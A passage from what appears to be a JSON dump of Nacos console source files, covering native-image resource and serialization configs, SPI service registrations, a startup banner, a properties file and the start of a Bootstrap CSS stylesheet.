\"name\":\"org.apache.derby.loc.m13\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m16\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m18\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m2\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m22\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m26\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m27\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m28\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m29\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m35\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m37\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m38\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m42\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.derby.loc.m7\",\n    \"locales\":[\"en\"]\n  }, {\n    \"name\":\"org.apache.naming.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.util.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.util.buf.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.util.compat.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.util.descriptor.web.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.util.http.LocalStrings\",\n    \"locales\":[\"\", \"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.util.http.parser.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.util.modeler.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.util.net.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.util.scan.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.util.threads.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.websocket.LocalStrings\",\n    \"locales\":[\"und\"]\n  }, {\n    \"name\":\"org.apache.tomcat.websocket.server.LocalStrings\",\n    \"locales\":[\"und\"]\n  }]\n}\n"
  },
  {
    "path": "console/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-console/serialization-config.json",
    "content": "{\n  \"types\":[\n    {\n      \"name\":\"byte[]\"\n    },\n    {\n      \"name\":\"ch.qos.logback.classic.model.ConfigurationModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.classic.model.LoggerModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.classic.model.RootLoggerModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.core.model.AppenderModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.core.model.AppenderRefModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.core.model.ComponentModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.core.model.ImplicitModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.core.model.IncludeModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.core.model.Model\"\n    },\n    {\n      \"name\":\"ch.qos.logback.core.model.NamedComponentModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.core.model.NamedModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.core.model.PropertyModel\"\n    },\n    {\n      \"name\":\"ch.qos.logback.core.model.StatusListenerModel\"\n    },\n    {\n      \"name\":\"com.alibaba.nacos.naming.core.v2.service.impl.PersistentClientOperationServiceImpl$InstanceStoreRequest\"\n    },\n    {\n      \"name\":\"java.lang.Boolean\"\n    },\n    {\n      \"name\":\"java.lang.Double\"\n    },\n    {\n      \"name\":\"java.lang.Exception\"\n    },\n    {\n      \"name\":\"java.lang.Long\"\n    },\n    {\n      \"name\":\"java.lang.Number\"\n    },\n    {\n      \"name\":\"java.lang.StackTraceElement\"\n    },\n    {\n      \"name\":\"java.lang.StackTraceElement[]\"\n    },\n    {\n      \"name\":\"java.lang.String\"\n    },\n    {\n      \"name\":\"java.lang.Throwable\"\n    },\n    {\n      \"name\":\"java.rmi.MarshalledObject\"\n    },\n    {\n      \"name\":\"java.rmi.dgc.Lease\"\n    },\n    {\n      \"name\":\"java.rmi.dgc.VMID\"\n    },\n    {\n      \"name\":\"java.rmi.server.ObjID\"\n    },\n    {\n      \"name\":\"java.rmi.server.ObjID[]\"\n    },\n    {\n      \"name\":\"java.rmi.server.RemoteObject\"\n    },\n    {\n      \"name\":\"java.rmi.server.RemoteStub\"\n    },\n    {\n      \"name\":\"java.rmi.server.UID\"\n    },\n    {\n      \"name\":\"java.util.ArrayList\"\n    },\n    {\n      \"name\":\"java.util.Collections$EmptyList\"\n    },\n    {\n      \"name\":\"java.util.HashMap\"\n    },\n    {\n      \"name\":\"java.util.HashSet\"\n    },\n    {\n      \"name\":\"java.util.LinkedHashMap\"\n    },\n    {\n      \"name\":\"java.util.TreeMap\"\n    },\n    {\n      \"name\":\"javax.management.InstanceNotFoundException\"\n    },\n    {\n      \"name\":\"javax.management.JMException\"\n    },\n    {\n      \"name\":\"javax.management.ObjectInstance\"\n    },\n    {\n      \"name\":\"javax.management.ObjectName\"\n    },\n    {\n      \"name\":\"javax.management.OperationsException\"\n    },\n    {\n      \"name\":\"javax.management.openmbean.CompositeDataSupport\"\n    },\n    {\n      \"name\":\"javax.management.openmbean.CompositeType\"\n    },\n    {\n      \"name\":\"javax.management.openmbean.OpenType\"\n    },\n    {\n      \"name\":\"javax.management.openmbean.SimpleType\"\n    },\n    {\n      \"name\":\"javax.management.remote.rmi.RMIConnectionImpl_Stub\"\n    },\n    {\n      \"name\":\"javax.management.remote.rmi.RMIServerImpl_Stub\"\n    },\n    {\n      \"name\":\"org.springframework.boot.logging.logback.SpringProfileModel\"\n    },\n    {\n      \"name\":\"org.springframework.boot.logging.logback.SpringPropertyModel\"\n    }\n  ],\n  \"lambdaCapturingTypes\":[\n  ],\n  \"proxies\":[\n  ]\n}\n"
  },
  {
    "path": "console/src/main/resources/META-INF/services/com.alibaba.nacos.auth.config.NacosAuthConfig",
    "content": "#\n# Copyright 1999-2025 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.console.config.NacosConsoleAuthConfig"
  },
  {
    "path": "console/src/main/resources/META-INF/services/com.alibaba.nacos.core.listener.startup.NacosStartUp",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.console.NacosConsoleStartUp"
  },
  {
    "path": "console/src/main/resources/META-INF/services/com.alibaba.nacos.core.paramcheck.AbstractHttpParamExtractor",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.console.paramcheck.ConsoleDefaultHttpParamExtractor"
  },
  {
    "path": "console/src/main/resources/META-INF/services/com.alibaba.nacos.plugin.auth.spi.client.AbstractClientAuthService",
    "content": "#\n# Copyright 1999-2025 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.console.handler.impl.remote.ConsoleMaintainerClientAuthPlugin"
  },
  {
    "path": "console/src/main/resources/META-INF/services/com.alibaba.nacos.sys.filter.NacosPackageExcludeFilter",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.console.config.ConsolePackageExcludeFilter\n"
  },
  {
    "path": "console/src/main/resources/META-INF/services/com.alibaba.nacos.sys.module.ModuleStateBuilder",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\ncom.alibaba.nacos.console.config.ConsoleModuleStateBuilder\ncom.alibaba.nacos.console.config.ConsoleAuthModuleStateBuilder\n"
  },
  {
    "path": "console/src/main/resources/nacos-console-banner.txt",
    "content": "\n         ,--.\n       ,--.'|\n   ,--,:  : |                                           Nacos Console ${application.version}\n,`--.'`|  ' :                       ,---.               Running in ${nacos.mode} mode, ${nacos.function.mode} function modules\n|   :  :  | |                      '   ,'\\   .--.--.    Port: ${nacos.console.port}\n:   |   \\ | :  ,--.--.     ,---.  /   /   | /  /    '   Pid: ${pid}\n|   : '  '; | /       \\   /     \\.   ; ,. :|  :  /`./   Console: http://${nacos.local.ip}:${nacos.console.port}${nacos.console.contextPath}/index.html\n'   ' ;.    ;.--.  .-. | /    / ''   | |: :|  :  ;_\n|   | | \\   | \\__\\/: . ..    ' / '   | .; : \\  \\    `.      https://nacos.io\n'   : |  ; .' ,\" .--.; |'   ; :__|   :    |  `----.   \\\n|   | '`--'  /  /  ,.  |'   | '.'|\\   \\  /  /  /`--'  /\n'   : |     ;  :   .'   \\   :    : `----'  '--'.     /\n;   |.'     |  ,     .-./\\   \\  /            `--'---'\n'---'        `--`---'     `----'\n"
  },
  {
    "path": "console/src/main/resources/nacos-console.properties",
    "content": "#\n# Copyright 1999-2023 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n### nacos console port:\nserver.port=${nacos.console.port:8080}\nserver.servlet.contextPath=${nacos.console.contextPath:}"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/css/bootstrap.css",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/*! normalize.css v2.1.3 | MIT License | git.io/normalize */\n\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nnav,\nsection,\nsummary {\n  display: block;\n}\n\naudio,\ncanvas,\nvideo {\n  display: inline-block;\n}\n\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n\n[hidden],\ntemplate {\n  display: none;\n}\n\nhtml {\n  font-family: sans-serif;\n  -webkit-text-size-adjust: 100%;\n      -ms-text-size-adjust: 100%;\n}\n\nbody {\n  margin: 0;\n}\n\na {\n  background: transparent;\n}\n\na:focus {\n  outline: thin dotted;\n}\n\na:active,\na:hover {\n  outline: 0;\n}\n\nh1 {\n  margin: 0.67em 0;\n  font-size: 2em;\n}\n\nabbr[title] {\n  border-bottom: 1px dotted;\n}\n\nb,\nstrong {\n  font-weight: bold;\n}\n\ndfn {\n  font-style: italic;\n}\n\nhr {\n  height: 0;\n  -moz-box-sizing: content-box;\n       box-sizing: content-box;\n}\n\nmark {\n  color: #000;\n  background: #ff0;\n}\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, serif;\n  font-size: 1em;\n}\n\npre {\n  white-space: pre-wrap;\n}\n\nq {\n  quotes: \"\\201C\" \"\\201D\" \"\\2018\" \"\\2019\";\n}\n\nsmall {\n  font-size: 80%;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsup {\n  top: -0.5em;\n}\n\nsub {\n  bottom: -0.25em;\n}\n\nimg {\n  border: 0;\n}\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\nfigure {\n  margin: 0;\n}\n\nfieldset {\n  padding: 0.35em 0.625em 0.75em;\n  margin: 0 2px;\n  border: 1px solid #c0c0c0;\n}\n\nlegend {\n  padding: 0;\n  border: 0;\n}\n\nbutton,\ninput,\nselect,\ntextarea {\n  margin: 0;\n  font-family: inherit;\n  font-size: 100%;\n}\n\nbutton,\ninput {\n  line-height: normal;\n}\n\nbutton,\nselect {\n  text-transform: none;\n}\n\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  cursor: pointer;\n  -webkit-appearance: button;\n}\n\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\n\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  padding: 0;\n  box-sizing: border-box;\n}\n\ninput[type=\"search\"] {\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n  -webkit-appearance: textfield;\n}\n\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\n\ntextarea {\n  overflow: auto;\n  vertical-align: top;\n}\n\ntable {\n  border-collapse: collapse;\n  border-spacing: 0;\n}\n\n@media print {\n  * {\n    color: #000 !important;\n    text-shadow: none !important;\n    background: transparent !important;\n    box-shadow: none !important;\n  }\n  a,\n  a:visited {\n    text-decoration: underline;\n  }\n  a[href]:after {\n    content: \" (\" attr(href) \")\";\n  }\n  abbr[title]:after {\n    content: \" (\" attr(title) \")\";\n  }\n  a[href^=\"javascript:\"]:after,\n  a[href^=\"#\"]:after {\n    content: \"\";\n  }\n  pre,\n  blockquote {\n    border: 1px solid #999;\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  img {\n    max-width: 100% !important;\n  }\n  @page  {\n    margin: 2cm .5cm;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  select {\n    background: #fff !important;\n  }\n  .navbar {\n    display: none;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .btn > .caret,\n  .dropup > .btn > .caret {\n    border-top-color: #000 !important;\n  }\n  .label {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #ddd !important;\n  }\n}\n\n*,\n*:before,\n*:after {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\n\nhtml {\n  font-size: 62.5%;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\n\nbody {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  line-height: 1.428571429;\n  color: #333333;\n  background-color: #ffffff;\n}\n\ninput,\nbutton,\nselect,\ntextarea {\n  font-family: inherit;\n  font-size: inherit;\n}\n\na {\n  color: #428bca;\n  text-decoration: none;\n}\n\na:hover,\na:focus {\n  color: #2a6496;\n  text-decoration: underline;\n}\n\na:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\n\nimg {\n  vertical-align: middle;\n}\n\n.img-responsive {\n  display: block;\n  height: auto;\n  max-width: 100%;\n}\n\n.img-rounded {\n  border-radius: 6px;\n}\n\n.img-thumbnail {\n  display: inline-block;\n  height: auto;\n  max-width: 100%;\n  padding: 4px;\n  line-height: 1.428571429;\n  background-color: #ffffff;\n  border: 1px solid #dddddd;\n  border-radius: 4px;\n  -webkit-transition: all 0.2s ease-in-out;\n          transition: all 0.2s ease-in-out;\n}\n\n.img-circle {\n  border-radius: 50%;\n}\n\nhr {\n  margin-top: 20px;\n  margin-bottom: 20px;\n  border: 0;\n  border-top: 1px solid #eeeeee;\n}\n\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  border: 0;\n}\n\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-weight: 500;\n  line-height: 1.1;\n  color: inherit;\n}\n\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n  font-weight: normal;\n  line-height: 1;\n  color: #999999;\n}\n\nh1,\nh2,\nh3 {\n  margin-top: 20px;\n  margin-bottom: 10px;\n}\n\nh1 small,\nh2 small,\nh3 small,\nh1 .small,\nh2 .small,\nh3 .small {\n  font-size: 65%;\n}\n\nh4,\nh5,\nh6 {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\n\nh4 small,\nh5 small,\nh6 small,\nh4 .small,\nh5 .small,\nh6 .small {\n  font-size: 75%;\n}\n\nh1,\n.h1 {\n  font-size: 36px;\n}\n\nh2,\n.h2 {\n  font-size: 30px;\n}\n\nh3,\n.h3 {\n  font-size: 24px;\n}\n\nh4,\n.h4 {\n  font-size: 18px;\n}\n\nh5,\n.h5 {\n  font-size: 14px;\n}\n\nh6,\n.h6 {\n  font-size: 12px;\n}\n\np {\n  margin: 0 0 10px;\n}\n\n.lead {\n  margin-bottom: 20px;\n  font-size: 16px;\n  font-weight: 200;\n  line-height: 1.4;\n}\n\n@media (min-width: 768px) {\n  .lead {\n    font-size: 21px;\n  }\n}\n\nsmall,\n.small {\n  font-size: 85%;\n}\n\ncite {\n  font-style: normal;\n}\n\n.text-muted {\n  color: #999999;\n}\n\n.text-primary {\n  color: #428bca;\n}\n\n.text-primary:hover {\n  color: #3071a9;\n}\n\n.text-warning {\n  color: #8a6d3b;\n}\n\n.text-warning:hover {\n  color: #66512c;\n}\n\n.text-danger {\n  color: #a94442;\n}\n\n.text-danger:hover {\n  color: #843534;\n}\n\n.text-success {\n  color: #3c763d;\n}\n\n.text-success:hover {\n  color: #2b542c;\n}\n\n.text-info {\n  color: #31708f;\n}\n\n.text-info:hover {\n  color: #245269;\n}\n\n.text-left {\n  text-align: left;\n}\n\n.text-right {\n  text-align: right;\n}\n\n.text-center {\n  text-align: center;\n}\n\n.page-header {\n  padding-bottom: 9px;\n  margin: 40px 0 20px;\n  border-bottom: 1px solid #eeeeee;\n}\n\nul,\nol {\n  margin-top: 0;\n  margin-bottom: 10px;\n}\n\nul ul,\nol ul,\nul ol,\nol ol {\n  margin-bottom: 0;\n}\n\n.list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline {\n  padding-left: 0;\n  list-style: none;\n}\n\n.list-inline > li {\n  display: inline-block;\n  padding-right: 5px;\n  padding-left: 5px;\n}\n\n.list-inline > li:first-child {\n  padding-left: 0;\n}\n\ndl {\n  margin-top: 0;\n  margin-bottom: 20px;\n}\n\ndt,\ndd {\n  line-height: 1.428571429;\n}\n\ndt {\n  font-weight: bold;\n}\n\ndd {\n  margin-left: 0;\n}\n\n@media (min-width: 768px) {\n  .dl-horizontal dt {\n    float: left;\n    width: 160px;\n    overflow: hidden;\n    clear: left;\n    text-align: right;\n    text-overflow: ellipsis;\n    white-space: nowrap;\n  }\n  .dl-horizontal dd {\n    margin-left: 180px;\n  }\n  .dl-horizontal dd:before,\n  .dl-horizontal dd:after {\n    display: table;\n    content: \" \";\n  }\n  .dl-horizontal dd:after {\n    clear: both;\n  }\n  .dl-horizontal dd:before,\n  .dl-horizontal dd:after {\n    display: table;\n    content: \" \";\n  }\n  .dl-horizontal dd:after {\n    clear: both;\n  }\n}\n\nabbr[title],\nabbr[data-original-title] {\n  cursor: help;\n  border-bottom: 1px dotted #999999;\n}\n\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\n\nblockquote {\n  padding: 10px 20px;\n  margin: 0 0 20px;\n  border-left: 5px solid #eeeeee;\n}\n\nblockquote p {\n  font-size: 17.5px;\n  font-weight: 300;\n  line-height: 1.25;\n}\n\nblockquote p:last-child {\n  margin-bottom: 0;\n}\n\nblockquote small,\nblockquote .small {\n  display: block;\n  line-height: 1.428571429;\n  color: #999999;\n}\n\nblockquote small:before,\nblockquote .small:before {\n  content: '\\2014 \\00A0';\n}\n\nblockquote.pull-right {\n  padding-right: 15px;\n  padding-left: 0;\n  border-right: 5px solid #eeeeee;\n  border-left: 0;\n}\n\nblockquote.pull-right p,\nblockquote.pull-right small,\nblockquote.pull-right .small {\n  text-align: right;\n}\n\nblockquote.pull-right small:before,\nblockquote.pull-right .small:before {\n  content: '';\n}\n\nblockquote.pull-right small:after,\nblockquote.pull-right .small:after {\n  content: '\\00A0 \\2014';\n}\n\nblockquote:before,\nblockquote:after {\n  content: \"\";\n}\n\naddress {\n  margin-bottom: 20px;\n  font-style: normal;\n  line-height: 1.428571429;\n}\n\ncode,\nkbd,\npre,\nsamp {\n  font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\n\ncode {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #c7254e;\n  white-space: nowrap;\n  background-color: #f9f2f4;\n  border-radius: 4px;\n}\n\npre {\n  display: block;\n  padding: 9.5px;\n  margin: 0 0 10px;\n  font-size: 13px;\n  line-height: 1.428571429;\n  color: #333333;\n  word-break: break-all;\n  word-wrap: break-word;\n  background-color: #f5f5f5;\n  border: 1px solid #cccccc;\n  border-radius: 4px;\n}\n\npre code {\n  padding: 0;\n  font-size: inherit;\n  color: inherit;\n  white-space: pre-wrap;\n  background-color: transparent;\n  border-radius: 0;\n}\n\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n\n.container {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n\n.container:before,\n.container:after {\n  display: table;\n  content: \" \";\n}\n\n.container:after {\n  clear: both;\n}\n\n.container:before,\n.container:after {\n  display: table;\n  content: \" \";\n}\n\n.container:after {\n  clear: both;\n}\n\n@media (min-width: 768px) {\n  .container {\n    width: 750px;\n  }\n}\n\n@media (min-width: 992px) {\n  .container {\n    width: 970px;\n  }\n}\n\n@media (min-width: 1200px) {\n  .container {\n    width: 1170px;\n  }\n}\n\n.row {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n\n.row:before,\n.row:after {\n  display: table;\n  content: \" \";\n}\n\n.row:after {\n  clear: both;\n}\n\n.row:before,\n.row:after {\n  display: table;\n  content: \" \";\n}\n\n.row:after {\n  clear: both;\n}\n\n.col-xs-1,\n.col-sm-1,\n.col-md-1,\n.col-lg-1,\n.col-xs-2,\n.col-sm-2,\n.col-md-2,\n.col-lg-2,\n.col-xs-3,\n.col-sm-3,\n.col-md-3,\n.col-lg-3,\n.col-xs-4,\n.col-sm-4,\n.col-md-4,\n.col-lg-4,\n.col-xs-5,\n.col-sm-5,\n.col-md-5,\n.col-lg-5,\n.col-xs-6,\n.col-sm-6,\n.col-md-6,\n.col-lg-6,\n.col-xs-7,\n.col-sm-7,\n.col-md-7,\n.col-lg-7,\n.col-xs-8,\n.col-sm-8,\n.col-md-8,\n.col-lg-8,\n.col-xs-9,\n.col-sm-9,\n.col-md-9,\n.col-lg-9,\n.col-xs-10,\n.col-sm-10,\n.col-md-10,\n.col-lg-10,\n.col-xs-11,\n.col-sm-11,\n.col-md-11,\n.col-lg-11,\n.col-xs-12,\n.col-sm-12,\n.col-md-12,\n.col-lg-12 {\n  position: relative;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n\n.col-xs-1,\n.col-xs-2,\n.col-xs-3,\n.col-xs-4,\n.col-xs-5,\n.col-xs-6,\n.col-xs-7,\n.col-xs-8,\n.col-xs-9,\n.col-xs-10,\n.col-xs-11,\n.col-xs-12 {\n  float: left;\n}\n\n.col-xs-12 {\n  width: 100%;\n}\n\n.col-xs-11 {\n  width: 91.66666666666666%;\n}\n\n.col-xs-10 {\n  width: 83.33333333333334%;\n}\n\n.col-xs-9 {\n  width: 75%;\n}\n\n.col-xs-8 {\n  width: 66.66666666666666%;\n}\n\n.col-xs-7 {\n  width: 58.333333333333336%;\n}\n\n.col-xs-6 {\n  width: 50%;\n}\n\n.col-xs-5 {\n  width: 41.66666666666667%;\n}\n\n.col-xs-4 {\n  width: 33.33333333333333%;\n}\n\n.col-xs-3 {\n  width: 25%;\n}\n\n.col-xs-2 {\n  width: 16.666666666666664%;\n}\n\n.col-xs-1 {\n  width: 8.333333333333332%;\n}\n\n.col-xs-pull-12 {\n  right: 100%;\n}\n\n.col-xs-pull-11 {\n  right: 91.66666666666666%;\n}\n\n.col-xs-pull-10 {\n  right: 83.33333333333334%;\n}\n\n.col-xs-pull-9 {\n  right: 75%;\n}\n\n.col-xs-pull-8 {\n  right: 66.66666666666666%;\n}\n\n.col-xs-pull-7 {\n  right: 58.333333333333336%;\n}\n\n.col-xs-pull-6 {\n  right: 50%;\n}\n\n.col-xs-pull-5 {\n  right: 41.66666666666667%;\n}\n\n.col-xs-pull-4 {\n  right: 33.33333333333333%;\n}\n\n.col-xs-pull-3 {\n  right: 25%;\n}\n\n.col-xs-pull-2 {\n  right: 16.666666666666664%;\n}\n\n.col-xs-pull-1 {\n  right: 8.333333333333332%;\n}\n\n.col-xs-pull-0 {\n  right: 0;\n}\n\n.col-xs-push-12 {\n  left: 100%;\n}\n\n.col-xs-push-11 {\n  left: 91.66666666666666%;\n}\n\n.col-xs-push-10 {\n  left: 83.33333333333334%;\n}\n\n.col-xs-push-9 {\n  left: 75%;\n}\n\n.col-xs-push-8 {\n  left: 66.66666666666666%;\n}\n\n.col-xs-push-7 {\n  left: 58.333333333333336%;\n}\n\n.col-xs-push-6 {\n  left: 50%;\n}\n\n.col-xs-push-5 {\n  left: 41.66666666666667%;\n}\n\n.col-xs-push-4 {\n  left: 33.33333333333333%;\n}\n\n.col-xs-push-3 {\n  left: 25%;\n}\n\n.col-xs-push-2 {\n  left: 16.666666666666664%;\n}\n\n.col-xs-push-1 {\n  left: 8.333333333333332%;\n}\n\n.col-xs-push-0 {\n  left: 0;\n}\n\n.col-xs-offset-12 {\n  margin-left: 100%;\n}\n\n.col-xs-offset-11 {\n  margin-left: 91.66666666666666%;\n}\n\n.col-xs-offset-10 {\n  margin-left: 83.33333333333334%;\n}\n\n.col-xs-offset-9 {\n  margin-left: 75%;\n}\n\n.col-xs-offset-8 {\n  margin-left: 66.66666666666666%;\n}\n\n.col-xs-offset-7 {\n  margin-left: 58.333333333333336%;\n}\n\n.col-xs-offset-6 {\n  margin-left: 50%;\n}\n\n.col-xs-offset-5 {\n  margin-left: 